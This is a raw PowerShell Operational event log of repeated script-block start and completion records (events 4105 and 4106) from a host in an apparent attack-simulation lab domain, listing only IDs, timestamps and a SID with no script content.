SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024621
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024620
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024619
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024618
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024617
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024616
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024615
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024614
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024613
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024612
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024611
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024610
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024609
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024608
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024607
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024606
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024605
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024604
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024603
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024602
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024601
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024600
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024599
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024598
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024597
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024596
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024595
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024594
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024593
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024592
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024591
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024590
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024589
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024588
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024587
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024586
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024585
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024584
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024583
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024582
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024581
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024580
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024579
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024578
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024577
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024576
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024575
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024574
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024573
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024572
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024571
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024570
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024569
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024568
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
